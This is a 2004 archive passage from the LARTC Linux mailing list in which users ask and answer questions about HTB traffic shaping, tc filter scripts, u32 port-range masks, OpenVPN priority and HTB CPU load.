From antonlr@yahoo.com.mx  Tue Oct  5 21:27:32 2004
From: antonlr@yahoo.com.mx (antonio lara)
Date: Tue, 5 Oct 2004 15:27:32 -0500 (CDT)
Subject: [LARTC] How to config a linux router for to make QoS support
Message-ID: <20041005202732.99777.qmail@web12707.mail.yahoo.com>

Dear lartc's members

I am a new linux user and I was configured a linux
router with cbq.init
I have installed a VoIP gateway with one voice port
(fxs) for a commun telephone and one ethernet port for
the LAN navigation and a ethernet port for wan
interfaz, i.e., the gateway do NAT.
The gateway has a públic IP at the wan interface and a
private IP at the Lan interface.
I do'nt know how to do that a IP packet that come from
voice port has major priority (QoS) that a IP packet
from the lan port. 
Both packets come from the same IP (public IP of the
gateway) but I want to prior the one that come from
voice port and to asign it the 80% of bandwidth

Please, I do'nt speak english very well
If any person speak spanish, is better
Thank you

Antonio Lara
Ecuador

_________________________________________________________
Do You Yahoo!?
La mejor conexión a internet y 25MB extra a tu correo por $100 al mes. http://net.yahoo.com.mx

From Gareth.Segree@gleanerjm.com  Tue Oct  5 23:10:20 2004
From: Gareth.Segree@gleanerjm.com (Segree, Gareth)
Date: Tue, 5 Oct 2004 17:10:20 -0500
Subject: [LARTC] QOS on each interface
Message-ID: <1198536982594F4E9A8E8D4DA6B64E66830B@COMMSRV04.gleanerjm.com>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C4AB28.1A622E20
Content-Type: text/plain

I have a firewall with 3 interfaces DMZ, INTERNET, LAN.
Does anyone have an example script to do QOS on multiple intefaces using
htb?


Gareth Segree
mailto:Gareth.Segree@gleanerjm.com <mailto:Gareth.Segree@gleanerjm.com> 
Technical Support Analyst
The Gleaner Company Ltd.
7 North Street
Kingston
Tel: 922-3400


------_=_NextPart_001_01C4AB28.1A622E20
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>QOS on each interface</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have a firewall with 3 interfaces =
DMZ, INTERNET, LAN.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Does anyone have an example script to =
do QOS on multiple intefaces using htb?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Gareth Segree</FONT>
<BR><A HREF=3D"mailto:Gareth.Segree@gleanerjm.com"><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial">mailto:Gareth.Segree@gleanerjm.com</FONT></U></A>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Technical Support Analyst</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">The Gleaner Company Ltd.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">7 North Street</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Kingston</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Tel: 922-3400</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C4AB28.1A622E20--


From smohan@vsnl.com  Wed Oct  6 05:32:06 2004
From: smohan@vsnl.com (S Mohan)
Date: Wed, 6 Oct 2004 10:02:06 +0530
Subject: [LARTC] QOS on each interface
In-Reply-To: <1198536982594F4E9A8E8D4DA6B64E66830B@COMMSRV04.gleanerjm.com>
Message-ID: <20041006043231.377424453@outpost.ds9a.nl>

Htb-init has what you are looking for. 

Warm regards
Mohan 
________________________________

	From: lartc-admin@mailman.ds9a.nl
[mailto:lartc-admin@mailman.ds9a.nl] On Behalf Of Segree, Gareth
	Sent: Wednesday, October 06, 2004 3:40 AM
	To: 'lartc@mailman.ds9a.nl'
	Subject: [LARTC] QOS on each interface
	
	

	I have a firewall with 3 interfaces DMZ, INTERNET, LAN. 
	Does anyone have an example script to do QOS on multiple intefaces
using htb? 


	Gareth Segree 
	mailto:Gareth.Segree@gleanerjm.com
<mailto:Gareth.Segree@gleanerjm.com>  
	Technical Support Analyst 
	The Gleaner Company Ltd. 
	7 North Street 
	Kingston 
	Tel: 922-3400 



From zgiorgadze@gol.ge  Wed Oct  6 09:38:26 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Wed, 6 Oct 2004 11:38:26 +0300
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class for accurate operation?
Message-ID: <20041006073827.5C1826CB7C7@mail.caucasus.net>

Hi,

I'm trying to setup QoS in my TSL box. Following to mailing list reccomendations I changed PSCHED_CPU but can't get accurate shaping with HTB. I have disabled HYSTERESIS also (by setting it to 0).
I have Intel Celeron 1.8Mhz (TSC supported I think).

******** My script ******
tc qdisc add dev eth0 root handle 1: htb default 22 r2q 10

# Class corresponding interface throughput
tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbit ceil 100mbit

# Class for GLOBAL traffic
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 115kbit ceil 1mbit

# Classes for PC-s
tc class add dev eth0 parent 1:20 classid 1:21 htb rate 48kbit ceil 1mbit prio 2
tc class add dev eth0 parent 1:20 classid 1:22 htb rate 24kbit ceil 1mbit prio 3
tc class add dev eth0 parent 1:20 classid 1:23 htb rate 12kbit ceil 1mbit prio 5
tc class add dev eth0 parent 1:20 classid 1:24 htb rate 12kbit ceil 1mbit prio 5
tc class add dev eth0 parent 1:20 classid 1:25 htb rate 12kbit ceil 1mbit prio 5

tc qdisc add dev eth0 parent 1:21 handle 21: pfifo
tc qdisc add dev eth0 parent 1:22 handle 22: pfifo
tc qdisc add dev eth0 parent 1:23 handle 23: pfifo
tc qdisc add dev eth0 parent 1:24 handle 24: pfifo
tc qdisc add dev eth0 parent 1:25 handle 25: pfifo

# Put flow to corresponding classes 
tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.1 flowid 1:21
tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.2 flowid 1:22
tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.3 flowid 1:23
tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.4 flowid 1:24
tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.5 flowid 1:25
******** End of script *********


What is the reccomended minimum rate for leaf htb class for accurate operation?
Can I change somesing in my script to get more accurate results?

Regrads,

Zviad




From Andreas.Klauer@metamorpher.de  Wed Oct  6 09:14:38 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 06 Oct 2004 10:14:38 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class
 for accurate operation?
In-Reply-To: <20041006073827.5C1826CB7C7@mail.caucasus.net>
References: <20041006073827.5C1826CB7C7@mail.caucasus.net>
Message-ID: <4163A96E.5090607@metamorpher.de>

Zviad O. Giorgadze wrote:
> # Class for GLOBAL traffic
> tc class add dev eth0 parent 1:1 classid 1:20 htb rate 115kbit ceil 1mbit

Does different rate / ceil for the root class make sense?

> # Classes for PC-s
> tc class add dev eth0 parent 1:20 classid 1:21 htb rate 48kbit ceil 1mbit prio 2
> tc class add dev eth0 parent 1:20 classid 1:22 htb rate 24kbit ceil 1mbit prio 3
> tc class add dev eth0 parent 1:20 classid 1:23 htb rate 12kbit ceil 1mbit prio 5
> tc class add dev eth0 parent 1:20 classid 1:24 htb rate 12kbit ceil 1mbit prio 5
> tc class add dev eth0 parent 1:20 classid 1:25 htb rate 12kbit ceil 1mbit prio 5

I guess class 1:21 gets to borrow all the traffic up to 1mbit and the 
others get nothing at all. You really want that? These rates and prios 
don't make sense to me, what do you intend to do?

I'd remove the prio parameter, increase global traffic class rate to 
1mbit, and increase PC class rates so that they add up to 1mbit.

Andreas

From mjoachimiak@poczta.onet.pl  Wed Oct  6 09:47:50 2004
From: mjoachimiak@poczta.onet.pl (mjoachimiak@poczta.onet.pl)
Date: Wed, 6 Oct 2004 10:47:50 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class for accurate operation?
References: <20041006073827.5C1826CB7C7@mail.caucasus.net> <4163A96E.5090607@metamorpher.de>
Message-ID: <002401c4ab81$2dc829c0$0802a8c0@monster>

So what about minimum rate?
I have rate 13kbit. My connection is sometimes congested and and I have much
loss of packets which are going from clients to the internet trough htb box.
>From box to the internet there is no any packet loss. Is this normal using
HTB with congested connection?
----- Original Message ----- 
From: "Andreas Klauer" <Andreas.Klauer@metamorpher.de>
To: <zgiorgadze@gol.ge>
Cc: <lartc@mailman.ds9a.nl>
Sent: Wednesday, October 06, 2004 10:14 AM
Subject: Re: [LARTC] What is the reccomended minimum rate for leaf htb class
for accurate operation?


> Zviad O. Giorgadze wrote:
> > # Class for GLOBAL traffic
> > tc class add dev eth0 parent 1:1 classid 1:20 htb rate 115kbit ceil
1mbit
>
> Does different rate / ceil for the root class make sense?
>
> > # Classes for PC-s
> > tc class add dev eth0 parent 1:20 classid 1:21 htb rate 48kbit ceil
1mbit prio 2
> > tc class add dev eth0 parent 1:20 classid 1:22 htb rate 24kbit ceil
1mbit prio 3
> > tc class add dev eth0 parent 1:20 classid 1:23 htb rate 12kbit ceil
1mbit prio 5
> > tc class add dev eth0 parent 1:20 classid 1:24 htb rate 12kbit ceil
1mbit prio 5
> > tc class add dev eth0 parent 1:20 classid 1:25 htb rate 12kbit ceil
1mbit prio 5
>
> I guess class 1:21 gets to borrow all the traffic up to 1mbit and the
> others get nothing at all. You really want that? These rates and prios
> don't make sense to me, what do you intend to do?
>
> I'd remove the prio parameter, increase global traffic class rate to
> 1mbit, and increase PC class rates so that they add up to 1mbit.
>
> Andreas
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/


From Andreas.Klauer@metamorpher.de  Wed Oct  6 11:00:34 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 06 Oct 2004 12:00:34 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb classfor
 accurate operation?
In-Reply-To: <20041006082450.07AE36CB4E1@mail.caucasus.net>
References: <20041006082450.07AE36CB4E1@mail.caucasus.net>
Message-ID: <4163C242.7040704@metamorpher.de>

Zviad O. Giorgadze wrote:
> My ISP provides guarantied 115kbit bandwidth for GLOBAL TRAFFIC. During the low load period (early morning, evening, night) customers can get up to 1mbit traffic.

That's download traffic we're talking about, since you seem to be 
shaping on your local LAN interface? Variable rate ISPs are tough
to shape right, I guess...

Does this 115kbit vs. 1mbit thing solely depend on ISP load, or does it 
depend on day of time? In the latter case, I'd let a cron job replace 
the HTB class structure, so that you have 115kbit ceil during the day 
when you really only get 115kbit and 1mbit ceil during the night when 
you actually get 1mbit.

But I guess it's not that easy, huh?

> According to PRIO settings I try to give all available bandwidth (above the guarantied rate) to IP address. I think that all other IP-s get it's guarantied rate or may be I'm wrong?

You have a 100mbit line, of which you only allow 1mbit to be used (Why 
make a 100mbit class then?). Unknown traffic (LAN, most likely) goes to 
class 1:22 (Why? Shouldn't only ISP traffic go there?). There is no 
distinction between ISP and LAN traffic at all... does that mean that 
there is no other traffic than ISP from/to your HTB box?

Does anyone know how HTB performs on such a line? My guess would be that 
HTB doesn't have a clue that there are actually only 115kbit, and thus 
will allow classes to borrow too much, letting other classes starve.

Andreas

From huetmann@site38.ping.at  Wed Oct  6 11:01:40 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Wed, 6 Oct 2004 12:01:40 +0200 (CEST)
Subject: [LARTC] HTB and Openvpn
Message-ID: <Pine.LNX.4.44.0410061153510.2239-100000@george.eliot.priv.at>

Hi!

I have just started with traffic shaping, and after hours of reading 
websites, man pages asf. I am still stumped at one problem I have. 

The interface eth0 is attached to the outside world, and I have an openvpn 
tunnel to another part of the organization using eth0 and port 5001.

The idea was that all traffic going through the tunnel would have top 
priority and the rest share what's left. Sounded simple enough. 

Here's what I did: 

tc qdisc add dev eth0 root handle 1: htb default 30
tc class add dev eth0 parent 1: classid 1:1 htb rate 10mbit burst 15k
tc class add dev eth0 parent 1:1 classid 1:10 htb rate 700kbit ceil 1mbit 
	burst 15k prio 0
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 1kbit ceil 28800 
	burst 15k
tc class add dev eth0 parent 1:1 classid 1:30 htb rate 1kbit ceil 1mbit 
	burst 15k prio 1
tc qdisc add dev eth0 parent 1:10 handle 10: sfq perturb 10
tc qdisc add dev eth0 parent 1:20 handle 20: sfq perturb 10
tc qdisc add dev eth0 parent 1:30 handle 30: sfq perturb 10
U32="tc filter add dev eth0 protocol ip parent 1:0 prio 0 u32"
$U32  match ip dport 5001 0xffff match ip protocol 17 0xff flowid 1:10
$U32  match ip sport 5001 0xffff match ip protocol 17 0xff flowid 1:10
$U32  match ip dport 5001 0xffff match ip protocol 6 0xff flowid 1:10
$U32  match ip sport 5001 0xffff match ip protocol 6 0xff flowid 1:10

As openvpn uses UDP on port 5001 I tried to use the protocol filter with 
the port filter. 

What happens though is that still about two thirds of the traffic goes 
through 1:30 (default), even though a tcpdump -i eth0 only shows UDP 
traffic on port 5001.

Thus I loose 2/3rds of the traffic to the default qdisc and have no 
guaranteed bandwidth. 

1:20 is only for testing purposes and nothing goes over that one.  

Any idea where I could be wrong? I am sure a lot of this is redundant, but 
as I said, I have only just started with this particular subject. 

Many thanks in advance

Peter Huetmannsberger
Admin Center for Contemporary Art, Linz


From mjoachimiak@poczta.onet.pl  Wed Oct  6 11:54:56 2004
From: mjoachimiak@poczta.onet.pl (mjoachimiak@poczta.onet.pl)
Date: Wed, 6 Oct 2004 12:54:56 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb classfor accurate operation?
References: <20041006082450.07AE36CB4E1@mail.caucasus.net> <4163C242.7040704@metamorpher.de>
Message-ID: <004e01c4ab92$ed333eb0$0802a8c0@monster>

Your gues is right. To get HTB work correctly you must know rate parameter
for your connection also known as CIR.
Coud you tell what minimum rate your clients have?
----- Original Message ----- 
From: "Andreas Klauer" <Andreas.Klauer@metamorpher.de>
To: <zgiorgadze@gol.ge>
Cc: <lartc@mailman.ds9a.nl>
Sent: Wednesday, October 06, 2004 12:00 PM
Subject: Re: [LARTC] What is the reccomended minimum rate for leaf htb
classfor accurate operation?


> Zviad O. Giorgadze wrote:
> > My ISP provides guarantied 115kbit bandwidth for GLOBAL TRAFFIC. During
the low load period (early morning, evening, night) customers can get up to
1mbit traffic.
>
> That's download traffic we're talking about, since you seem to be
> shaping on your local LAN interface? Variable rate ISPs are tough
> to shape right, I guess...
>
> Does this 115kbit vs. 1mbit thing solely depend on ISP load, or does it
> depend on day of time? In the latter case, I'd let a cron job replace
> the HTB class structure, so that you have 115kbit ceil during the day
> when you really only get 115kbit and 1mbit ceil during the night when
> you actually get 1mbit.
>
> But I guess it's not that easy, huh?
>
> > According to PRIO settings I try to give all available bandwidth (above
the guarantied rate) to IP address. I think that all other IP-s get it's
guarantied rate or may be I'm wrong?
>
> You have a 100mbit line, of which you only allow 1mbit to be used (Why
> make a 100mbit class then?). Unknown traffic (LAN, most likely) goes to
> class 1:22 (Why? Shouldn't only ISP traffic go there?). There is no
> distinction between ISP and LAN traffic at all... does that mean that
> there is no other traffic than ISP from/to your HTB box?
>
> Does anyone know how HTB performs on such a line? My guess would be that
> HTB doesn't have a clue that there are actually only 115kbit, and thus
> will allow classes to borrow too much, letting other classes starve.
>
> Andreas
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/


From Andreas.Klauer@metamorpher.de  Wed Oct  6 11:55:24 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 06 Oct 2004 12:55:24 +0200
Subject: [LARTC] HTB and Openvpn
In-Reply-To: <Pine.LNX.4.44.0410061153510.2239-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410061153510.2239-100000@george.eliot.priv.at>
Message-ID: <4163CF1C.9070704@metamorpher.de>

Peter Huetmannsberger wrote:
> The idea was that all traffic going through the tunnel would have top 
> priority and the rest share what's left. Sounded simple enough. 

You could use a prio queue for that. Tunnel on band 0, rest on band 1. 
Downside is that there may be nothing left for the rest to share. :-)

> tc class add dev eth0 parent 1: classid 1:1 htb rate 10mbit burst 15k

Why make a 10mbit class when it's not used? I find it hard to tell what 
will happen when the rates don't add up properly.

> tc class add dev eth0 parent 1:1 classid 1:10 htb rate 700kbit ceil 1mbit 
> 	burst 15k prio 0

Since the parent has 10mbit which is never fully used, this class will 
most likely always borrow as much as it can. So although it says 700kbit 
it's really a 1mbit class.

> tc class add dev eth0 parent 1:1 classid 1:20 htb rate 1kbit ceil 28800 
> 	burst 15k

This class does not seem to be used at all, why does it exist?

> tc class add dev eth0 parent 1:1 classid 1:30 htb rate 1kbit ceil 1mbit 
> 	burst 15k prio 1

Another 1mbit class. The parent has 10mbit, so there's no reason why it 
shouldn't be able to borrow another mbit, no matter what the actual 
priority of that class is. Am I wrong? :)

> Any idea where I could be wrong?

Guesswork:

The logic of your class structure is flawed.

How fast is your connection to the outside world? I guess it's 1mbit, 
because you set the ceil of your VPN/rest class to 1mbit? However, the 
parent class of those two is a 10mbit class, so both borrow one 1mbit 
from that (they don't share the same one single mbit). In that case, no 
proper shaping is done at all.

10mbit then would be your LAN?

Then how about this class setup:

1:1      10mbit (LAN interface)
|
\--- 1:2 09mbit (LAN only traffic)
\--- 1:3 01mbit (Outside world traffic)
      |
      \--- 1:31 700kbit (VPN)
      \--- 1:32 300kbit (Rest)

This is (about) the kind of setup I use at home.
Make sure your rates add up.

If you intend to give your (Rest) class 1kbit only, throw HTB away and 
use PRIO instead. If (Rest) doesn't need any bandwidth at all, you can 
as well let it starve completely by using prio. And that's much less 
complicated than HTB.

Andreas

From Andreas.Klauer@metamorpher.de  Wed Oct  6 12:01:08 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 06 Oct 2004 13:01:08 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb classfor
 accurate operation?
In-Reply-To: <004e01c4ab92$ed333eb0$0802a8c0@monster>
References: <20041006082450.07AE36CB4E1@mail.caucasus.net> <4163C242.7040704@metamorpher.de> <004e01c4ab92$ed333eb0$0802a8c0@monster>
Message-ID: <4163D074.4000402@metamorpher.de>

mjoachimiak@poczta.onet.pl wrote:
> Your gues is right. To get HTB work correctly you must know rate parameter
> for your connection also known as CIR.
> Coud you tell what minimum rate your clients have?

My worst HTB class has rate&ceil 778bps.

I guess the lower the rate, the less accurate the result. It can't be 
accurate, because the class already exceeds it's limit by sending just 
one single packet.

Maybe it's more accurate in the long run, but I don't have any 
statistics to prove that. Anyway, the traffic for that class is damn 
slow, and that's all I need to know. ;-)

Andreas


From huetmann@site38.ping.at  Wed Oct  6 12:09:04 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Wed, 6 Oct 2004 13:09:04 +0200 (CEST)
Subject: [LARTC] HTB and Openvpn
In-Reply-To: <4163CF1C.9070704@metamorpher.de>
Message-ID: <Pine.LNX.4.44.0410061306080.5971-100000@george.eliot.priv.at>

Hi, many thanks for your help. 

I have changed my setup accordingly now, however there are still packets 
showing up on the default qdisc when I go through the tunnel, about half 
the packets don't seem to match. 

Did you see anything wrong with the filter rules. Openvpn uses port 5001 
on both ends, and tcpdump -i eth0 shows udp packets going back and forth 
on port 5001 and no other traffic, yet the default counter goes up along 
with the 1:10 qdisc.

Thanks again. 

.peter



From arny@ats.s.bawue.de  Wed Oct  6 12:44:39 2004
From: arny@ats.s.bawue.de (Thilo Schulz)
Date: Wed, 6 Oct 2004 13:44:39 +0200
Subject: [LARTC] U32 Port Range
In-Reply-To: <200410051624.09823.arny@ats.s.bawue.de>
References: <416254870000037B@www.zipmail.com.br> <200410051624.09823.arny@ats.s.bawue.de>
Message-ID: <200410061344.45488.arny@ats.s.bawue.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

oops it's rather "sport 0 0xfc00" than "sport 0 0xfbff" if it worked the way I 
think it would.

- -- 
Thilo Schulz

My public PGP key is available at http://home.bawue.de/~arny/public_key.asc
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBY9qtZx4hBtWQhl4RAtvCAJ41eu0Obnx0GjA6g1/krgQ+6ovXCACfZLVL
S0c0r0rvd6zZJSuzjy0S2Kw=
=XmFZ
-----END PGP SIGNATURE-----

From spam@crocom.com.pl  Wed Oct  6 14:01:48 2004
From: spam@crocom.com.pl (Szymon Miotk)
Date: Wed, 06 Oct 2004 15:01:48 +0200
Subject: [LARTC] Huge system load using HTB
Message-ID: <4163ECBC.1050606@crocom.com.pl>

Hi!

I have some problems with htb performance.

THE SETUP:
I have a network with 3 ISP uplinks and 1 local network uplink.
There are about 1700 clients.
I was shaping their bandwidth with HTB using iptables mangling in a manner:

tc class add dev $DEV parent 1:10 classid 1:${CLASS_ID} htb rate \
     16kbit ceil 512kbit burst 2kb prio 2 quantum 1500
tc qdisc add dev $DEV parent 1:${CLASS_ID} handle ${CLASS_ID}: \
     sfq perturb 10
tc filter add dev $DEV parent 1: protocol ip prio 17 u32 \
     match ip dst "$IP" flowid 1:${CLASS_ID}
iptables -A "$CHAIN_NAME" -t mangle -s "$IP" -j MARK --set-mark $CLASS_ID

I use iptables subchains, so that every chains contains 32 entries.

I have recently upgraded from RedHat 9.0 to Fedora Core 2. I cannot turn 
back to RH9, because I had other problems with that.
I use kernel 2.6.8-1.521 (the problem was the same with original 
kernel). I didn't recompile it.

THE PROBLEM:
When I load my rules the system load jumps to 100%.
I was testing it and I am certain that HTB does the mess.
The server with all iptables rules (including mangling) works well with 
load about 3%.
But just as I turn HTB on it starts to crawl.
The chart can be found here:
http://mtower.mlyniec.gda.pl/~spam/tst.png

It's fairly strong machine (P4 2.8 with HT, 1 GB RAM) and it worked with 
that setup quite well for half a year (system load never exceeded 30-40%).

I guess I haven't noticed something or the kernel has the bug.

Anybody clues?

Szymon Miotk

From Andreas.Klauer@metamorpher.de  Wed Oct  6 14:30:47 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 06 Oct 2004 15:30:47 +0200
Subject: [LARTC] HTB and Openvpn
In-Reply-To: <Pine.LNX.4.44.0410061306080.5971-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410061306080.5971-100000@george.eliot.priv.at>
Message-ID: <4163F387.3080807@metamorpher.de>

Peter Huetmannsberger wrote:
> I have changed my setup accordingly now, however there are still packets 
> showing up on the default qdisc when I go through the tunnel, about half 
> the packets don't seem to match. 

If there really only is udp traffic on port 5001, I don't see why your 
rules should match that only partially. If they were wrong, they'd 
either match everything or nothing at all, wouldn't they?

> Did you see anything wrong with the filter rules. Openvpn uses port 5001 
> on both ends, and tcpdump -i eth0 shows udp packets going back and forth 
> on port 5001 and no other traffic, yet the default counter goes up along 
> with the 1:10 qdisc.

I don't know tcpdump - when debugging filter rules, I usually adapt 
these rules to iptables and use iptables log with different prefixes to 
distinct which packets matched which rules (and which didn't match at 
all). If nothing shows up this way, then I too am clueless as to what 
might be wrong. Maybe someone else has a suggestion. :)

I don't have any experience with OpenVPN myself, so I don't know what's 
the best way to match OpenVPN traffic. Using port criteria alone, might 
not be waterproof enough, as long as anyone can use these ports for 
anything. Matching both IP and Port would probably be more reliable.

Andreas

From gt90bh@zipmail.com.br  Wed Oct  6 14:27:21 2004
From: gt90bh@zipmail.com.br (gt90bh@zipmail.com.br)
Date: Wed, 6 Oct 2004 10:27:21 -0300
Subject: [LARTC] =?iso-8859-1?Q?Re=3A=20U32=20Port=20Range?=
Message-ID: <4163A6050000058C@www.zipmail.com.br>

Thanks a lot man, but it didn't work...
Any other clue?
Where is the official web site of U32?

Thanks,

                LEANDRO TRAVAGLIA


----- Original Message -----
From: "Thilo Schulz" <arny@ats.s.bawue.de>
To: <lartc@mailman.ds9a.nl>
Sent: Tuesday, October 05, 2004 11:24 AM
Subject: Re: [LARTC] U32 Port Range


> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Tuesday 05 October 2004 13:06, gt90bh@zipmail.com.br wrote:
> > - I know that is something about the 0xffff parameter....
>
> I guess it is some kind of bitmask and works similarly to a netmask. If=

you
> only want to categorise traffic from port 1-1024, using "sport 0 0xfbff=
"
> *might* work, though I am not sure about that. Some core QoS developers=

on
> the kernel may give you more insight than I am able to do. But you can
still
> try it, better than nothing :).
>
> - --
> Thilo Schulz
>
> My public PGP key is available at
http://home.bawue.de/~arny/public_key.asc
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (GNU/Linux)
>
> iD8DBQFBYq6JZx4hBtWQhl4RAsKvAKDVX5mv6HurtkNCuTqt8RNZg1lUTQCeP5NS
> TF7X0Qhn7GkIXhnviZ2rQTw=3D
> =3DL6y/
> -----END PGP SIGNATURE-----
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.773 / Virus Database: 520 - Release Date: 05/10/04




------------------------------------------
Use o melhor sistema de busca da Internet
Radar UOL - http://www.radaruol.com.br




From tgraf@suug.ch  Wed Oct  6 14:48:13 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Wed, 6 Oct 2004 15:48:13 +0200
Subject: [LARTC] Re: U32 Port Range
In-Reply-To: <4163A6050000058C@www.zipmail.com.br>
References: <4163A6050000058C@www.zipmail.com.br>
Message-ID: <20041006134813.GA17986@postel.suug.ch>

* gt90bh@zipmail.com.br <4163A6050000058C@www.zipmail.com.br> 2004-10-06 10:27
> Thanks a lot man, but it didn't work...
> Any other clue?

sport 0 0xF800

0xF800 is ~(1024+1), therefore it only matches if none of the
upper bits are set.

From gypsy@iswest.com  Wed Oct  6 15:09:11 2004
From: gypsy@iswest.com (gypsy)
Date: Wed, 06 Oct 2004 07:09:11 -0700
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class for
 accurate operation?
References: <20041006073827.5C1826CB7C7@mail.caucasus.net>
Message-ID: <4163FC87.A0CBB221@iswest.com>

"Zviad O. Giorgadze" wrote:
> # Put flow to corresponding classes
> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.1 flowid 1:21
> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.2 flowid 1:22
> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.3 flowid 1:23
> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.4 flowid 1:24
> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.5 flowid 1:25

If you are NATting, there is no 192.168.0.anything because the address
has been NATted.

If not, add a prio parameter to these filter lines where prio is NOT =
0.

If you are NATting, use an iptables mark and filter on fwmark.

Other than that, I can't help you.

gypsy

From Marcelo Araujo <chelupulus@gmail.com>  Wed Oct  6 16:06:54 2004
From: Marcelo Araujo <chelupulus@gmail.com> (Marcelo Araujo)
Date: Wed, 6 Oct 2004 11:06:54 -0400
Subject: [LARTC] Unknown qdisc "htb", hence option "default" is unparsable
Message-ID: <1775d24d04100608062632017d@mail.gmail.com>

(i sent the same message from another email acount, that isn't
memberlist. sorry)

Hi Everyone..!!

i'm beginner in tc with htb, i'm use to limit public, and nat ip clients,
i'm to add to one of my server and get this error:

> tc qdisc add dev eth0 root handle 1: htb default 10
Unknown qdisc "htb", hence option "default" is unparsable

here is my server information:
Linux Server 2.4.20-30.9 #1 Wed Feb 4 20:44:26 EST 2004 i686 i686 i386
GNU/Linux

Module                  Size  Used by    Not tainted
cls_u32                 6300   0  (autoclean)
cls_fw                  3512   0  (autoclean)
sch_sfq                 4096   0  (autoclean)
sch_htb                22176   0
ipt_MARK                1368   2  (autoclean)
ip_nat_ftp              4112   0  (unused)
ip_conntrack_ftp        5296   1
ipt_state               1080   0  (unused)
ipt_limit               1560   0  (unused)
ipt_LOG                 4184   0  (unused)
iptable_nat            21752   2  [ip_nat_ftp]
iptable_mangle          2776   1
iptable_filter          2412   1
ip_conntrack           27304   3  [ip_nat_ftp ip_conntrack_ftp ipt_state
iptable_nat]
ip_tables              15096   9  [ipt_MARK ipt_state ipt_limit ipt_LOG
iptable_nat iptable_mangle iptable_filter]
8139too                18120   1
mii                     3976   0  [8139too]
3c59x                  30736   1
keybdev                 2976   0  (unused)
mousedev                5556   0  (unused)
hid                    22244   0  (unused)
input                   5856   0  [keybdev mousedev hid]
usb-uhci               26412   0  (unused)
usbcore                79040   1  [hid usb-uhci]
ext3                   70784   2
jbd                    51924   2  [ext3]

In my first atemp, the module "sch_htb" wwas not loaded, so i load "modprobe
sch_htb", and again, the same error. Next i downloaded the
"htb3.6-020525.tgz" from http://luxik.cdi.cz/~devik/qos/htb/ and try to
execute with "tc" from tar. It's work, (i think) i check with show and
trafic counter works.

This is "tc" in /sbin/
-rwxr-xr-x    1 root     root       114716 Nov  3  2003 tc
This is "tc" in htb3.6-020525.tgz
-rwxrwxr-x    1 root     root       101992 May 12  2002 tc

The "tc" from the tarball is small compare to the system, so my question is,
can i use the tc from the tarball without any know issue? may i update my
kernel? what version are sure to work?

I'm newbie in this, excuse me my english, i hope understand me. Thanks a
lot.

Marcelo Araujo

From Alexander.Eigl@netlab.nec.de  Wed Oct  6 16:31:42 2004
From: Alexander.Eigl@netlab.nec.de (Alexander Eigl)
